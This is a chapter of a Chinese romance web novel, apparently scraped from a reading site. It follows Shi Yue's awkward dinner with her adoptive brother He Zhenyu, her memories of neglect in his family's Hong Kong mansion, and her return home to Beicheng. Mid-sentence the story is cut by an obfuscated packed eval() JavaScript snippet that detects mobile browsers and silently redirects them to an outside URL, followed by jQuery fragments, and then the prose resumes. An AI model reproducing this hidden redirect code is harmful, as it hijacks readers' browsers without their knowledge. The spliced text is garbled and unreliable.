4.第 4 章

作品:《何时明月[先婚后爱]

    Chapter 04


    时月拿了碗,再转身的时候已经换上了平静的面容,她只给他舀了半碗米饭,本来就只煮她一个人吃的,米饭根本不够。


    贺镇禹接过碗,瞥了眼碗里的一半米饭,抬眸看她,“打发叫花子呢?”


    时月背脊微僵,硬着头皮将剩下的米饭全部刮进自个碗里,这才说:“我重新煮一锅。”


    贺镇禹轻哼一声,“不用。”


    他转开视线,看向桌面上丰盛的菜,“吃菜也不错。”


    时月深呼吸,那是她的菜!


    转过身,他不知何时已拿起一双筷子。


    时月眼皮一跳,在椅子上落座,贺镇禹夹起一块焦黄的孜然排骨送入口中,眉尾轻轻一挑,抬眸看向她,“手艺不错。”


    别人夸她她会很高兴,但到了他这里,时月只觉头皮发麻,找不出其他话来接,只当他是真的在夸了。


    “谢谢。”


    她磨磨蹭蹭吃着碗里的米饭,全身上下每个细胞、每个毛孔都不自在极了。


    试想一个不熟悉的、帅的、暴力的大猛男坐在你面前吃饭,你会自在吗?


    贺镇禹吃饭很优雅,悄无声息的,但等时月伸出筷子去夹肉时,排骨只剩最后一块了。


    最后一块了……


    时月有些懵,她那满满一大盘的排骨呢?


    贺镇禹筷子本也要伸向排骨,见此转而夹起旁边的鸡翅,放进嘴里后眉尾再次扬了扬。


    要是申叔在这里,就会发现他现在心情很是不错。


    时月飞快夹走最后一块排骨,默默看着他已经夹起的第二箸鸡翅,她赶忙再次伸筷,快速夹走一块鸡翅,再夹了一块糖醋里脊。


    她怕她再慢点儿,就什么都吃不到了。


    一顿饭吃完,桌面上的餐盘比姜大小姐在的时候还要干净,连电饭煲也干净得一粒米都没留下。


    真·节约啊。


    晚餐后,两人面对面干坐着,时月脚趾抓地、头皮发麻,眼看他似乎要说话,连忙收了碗就去了厨房。


    往日最讨厌洗碗的,这会儿倒是喜欢极了,最好洗到他离开,一句话也别跟她说。


    她害怕。


    然而等她洗完碗,灶台擦了又擦,菜刀也擦得锃亮,他还没走。


    不知他从哪里找出来的一次性纸杯,接了杯水——不,是倒了她杯子里一半的柠檬水在慢条斯理地喝着。


    时月无语。


    时月烦躁。


    能不能有点边界感?


    能不能?


    能不能吃饱了就麻利滚蛋?


    能不……


    男人倏地抬眸看了过来,撞上那双深冷狭长的黑眸,时月心跳瞬间滞住,脑海一片空白,什么烦啊怨啊消失得无影无踪。


    贺镇禹一口喝完水,放下纸杯站起身,修长的手指间夹着一张CBA银行卡,压在桌面上。


    他的声音很淡,听不出情绪:“找个时间,把洗碗机装上。”


    话落,男人转身,利落往门口走去,备用钥匙丢在玄关鞋柜上,拉开门,大步走了。


    门砰地一声被关上。


    整个公寓一时间又恢复了安静,时月呆站了会儿,走过去拿起银行卡看了看,又看向玄关鞋柜上的备用钥匙。


    两年了。


    她平静的生活被“咚”地一声打破。


    晚上洗过澡,时月正要躺下,又看见床头柜上的银行卡,她刚刚查了,里面有二百万澳元,兑换人民币在一千万左右,远远超过买一台洗碗机的钱,哪怕是最贵的洗碗机也不过几千澳元而已。


    他这是什么意思?


    时月不会傻到认为他当真不懂洗碗机的价格,只是没法理解那些多出来的钱的用途。


    她不敢动那笔钱。


    夜里时月睡得不是很安稳,或许是睡前见到那人一面,又或许是那笔钱的原因,她又做梦了。


    梦里都是她刚到港城时,那段埋藏在记忆深处的不美好时光。


    二十岁的时月不知道母亲是如何与贺家老爷子联系上的,等到她知晓她的父亲在港城时,贺家已经派了私人飞机来北城接她了。


    那是她第一次坐私人飞机,也是她第一次离开母亲,去到一个完全陌生的地方。


    港城,一个发展迅速,粤英双语,连普通话都不需要的国际大都市,时月与这里格格不入,像误入大观园的刘姥姥。


    贺老爷子早已出嫁的大女儿听说认回了一个私生女,特意回半山公馆陪老爷子吃饭,贺镇禹也被叫了回来。


    那是时月第一次看见他,或许是帅,或许是沉稳,她莫名就产生了亲近之意,更别说老爷子后来的介绍——“阿月,这是你哥哥。”


    她那时完全不懂其中的弯弯绕绕,她被母亲抛弃,正是最孤单,最渴望亲人的时候,忙小声地喊了声哥哥,带着些讨好,抬头却见男人深邃的眼眸,唇角挂似笑非笑的弧度。


    那时时月二十,男人已经二十八了。


    他身上有着她这个年龄段看不懂的城府和心机。


    “呦,呢个就系细妹吖。”一道女声笑吟吟传来。


    时月转头,一个穿着皮草貂绒大衣的女人,三十多岁的年纪,笑容有些刻薄。


    看时月的目光也全是鄙夷,张口闭口都是粤语,说些时月完全听不懂,但把老爷子哄得哈哈笑的话。


    贺老爷子忙得很,认回女儿后,将她留在公馆就去了集团,一连好几个月不回家。


    公馆里的菲佣们也都随着大小姐的姿态摆起谱来,不将时月放在眼里,连饭都只给那个回娘家长住的大小姐贺明珺做。


    时月饿得受不了,想要给贺老爷子打电话,被贺大小姐看见,随手丢了张银行卡给时月,让她去买吃的,但时月真用了卡,贺大小姐又跑去贺老爷子那里惨兮兮地告状。


    导致时月被老爷子狠狠训了一顿,她在贺家的地位越发低下,时常饿一顿饱一顿,连家里的菲佣都不如。


    后来,她再不敢收别人随意丢过来的钱财物件。


    因为她知道,那都是有代价的。


    那段饥一顿饱一顿的日子在贺家养子贺镇禹回公馆长住后才终于停止。


    她也是在菲佣们的闲言碎语中才知道,此哥哥,并非亲哥哥。


    但她依旧很亲近他,他长得好是一方面,最重要的一点,吃饭时他会喊她,偶尔还会用普通话跟她说话,但那样的情况很少。


    如果没有后来的事,她想,她会一直喊他哥哥的。


    那笔钱时月最终都没敢动,他或许不知道,今年年底,她就正式毕业了。


    虽然现在还不知道是留在国外还是回国,但这个公寓,她应该是不会再住下去了,哪怕他已经把备用钥匙还了回来。


    那之后她又陆陆续续做了几晚噩梦,再加上毕设审核不通过,她埋头苦改,日夜颠倒,吃吃不好,睡也睡不好,直到十一月提交通过,时月才睡了一个好觉。


    元旦后,澳洲正式进入炎炎夏日,而时月却被北城的寒冷深冬冻得瑟瑟发抖。


    她最终还是选择回国,回了北城。


    回到这座与自己羁绊最深的城市。


    滴滴车一路往南,时月裹着厚厚的围巾,看向既熟悉又陌生的城市,心底蔓延起几分凄凉。


    她回国的事谁也没告诉,包括好友姜籽。


    她知道姜大记者最近在忙着蹲抢霍元集团董事长的专题采访。


    接到这个任务时姜籽就高兴疯了,三天两头给时月发霍元集团那位年轻的、巨帅的董事长的相关新闻,包括唯一一张出现在媒体上的照片,还是从港媒那边传来的,也都打包发给了时月。


    时月看过,确实帅,西装革履,金丝眼镜,个高腿长。


    难怪姜籽高兴,任谁被委派去采访这样一个多金帅气的大佬都会高兴的。


    时月知道她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399169|184212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    忙,所以回国这样的小事,就不必劳烦好友啦。


    异国两年的独自生活,早已将她变得不习惯得麻烦任何人了。


    “接近目的地附近,请提醒乘客拿好行礼物品……”滴滴车手机发出提醒。


    时月伸手背起包包,将羽绒服上的帽子拉起戴上,滴滴车停下,她推开车门,车外寒风阵阵,吹得她露在外的皮肤刺骨生疼。


    北城,冷得一如既往。


    时月走到后备箱,司机已经帮她把两个大行李箱提了下来,时月连忙道谢,并答应给五星好评。


    大冷天,又是工作日,小区前很是安静。


    时月拖着两个行李箱,进了单元楼,将行李箱推进电梯,按了八楼。


    已经很久没回来了,门头上都积了一层灰,打开时一股霉闷当头袭来,时月开着门吹了会儿才进屋。


    屋内冷冰冰的,白色罩布将所有家具盖住,时月脑海莫名浮出一句——现代古墓派也不过如此了。


    她先开了水电,将窗户也打开吹着风。


    这套房子最初是时月母亲秦蓁北漂二十年打拼下来的。


    面积不大,只有八十平,两个卧室,一个洗手间,客厅和餐厅共用,一个开放式厨房,连阳台都是很小的一个。


    时月先去了卧室,得收拾出一个晚上睡觉的地方,其他的,日后再慢慢收拾。


    到晚上九点多,卧室擦洗干净,铺上她带回来的新被单,到底是可以住人了,她才在床上躺下,下载了个外卖软件,点了份外卖。


    放下手机时看见行李箱里一个被包裹得严严实实的礼物,时月视线顿了顿,手指无意识地滑着朋友圈,一直滑到一个星期前,在一个深蓝海洋的头像上停住。


    那是她的继兄,傅家大公子傅承礼,那条朋友圈也很简单,转发了傅氏集团的一条年终总结的讯息。


    是时月忍不住打开了那条讯息,根本无需下滑,在董事长发表讲话照片的下面,她看见了她的亲生母亲秦蓁女士,一袭浅灰色高定女士西装,微笑着坐在集团副总的位置上。


    时月已经很久没见到母亲了。


    她时常后悔,后悔三年前为什么那么犟?


    母亲把房子留给她,在偌大的北城给了她一个安身之所,她为什么就不能原谅母亲另嫁呢?


    可脑海里另一个她却在骂她傻,母亲明明是为了钱财利益而抛弃了她,她为什么要原谅母亲的自私行为?


    最终还是不原谅占了大头。


    但不管如何,看见母亲照片那一刻,时月眼眶还是红了。她和母亲,从小相依为命,从一无所有到有了安身之所,她只有这么一个亲人。


    也就是看见照片的那一刻,回国的念头强烈到她在澳洲多留一天都等不下去。


    正好,一个星期后的小年,也就是明天,是母亲的生日。


    她有借口回来,于是就回来了。


    时月转回傅承礼的聊天页面,开始打字:承礼哥,我想问一下,明天妈妈的生日会在哪里举……


    没等打完就一个字一个字地删除了。


    她从来没喊过他哥,从前母亲是傅董身边的总秘书长时,他们的关系还算不错,那时候傅董倒是让她喊过他哥,可她憋得脸颊通红都喊不出来,更别说现在。


    而且她也没有跟着母亲进傅家的门,算不得是兄妹,所以喊哥很奇怪。


    时月又打字:傅总,请问秦总明天的生日会在哪里举办?


    她盯着这行字看了半晌,又再次删除。


    再打:在吗?


    再删。


    几分钟过去,聊天页面依旧是空荡荡的,时月头疼地抓了把头发。


    好难,社交好难,问个话也好难。


    尤其是问这种关系尴尬的人。


    就在她快要把头发抓掉时,一低头就看见聊天页面上方的傅承礼三个字变成了一串长字——


    对方正在输入中……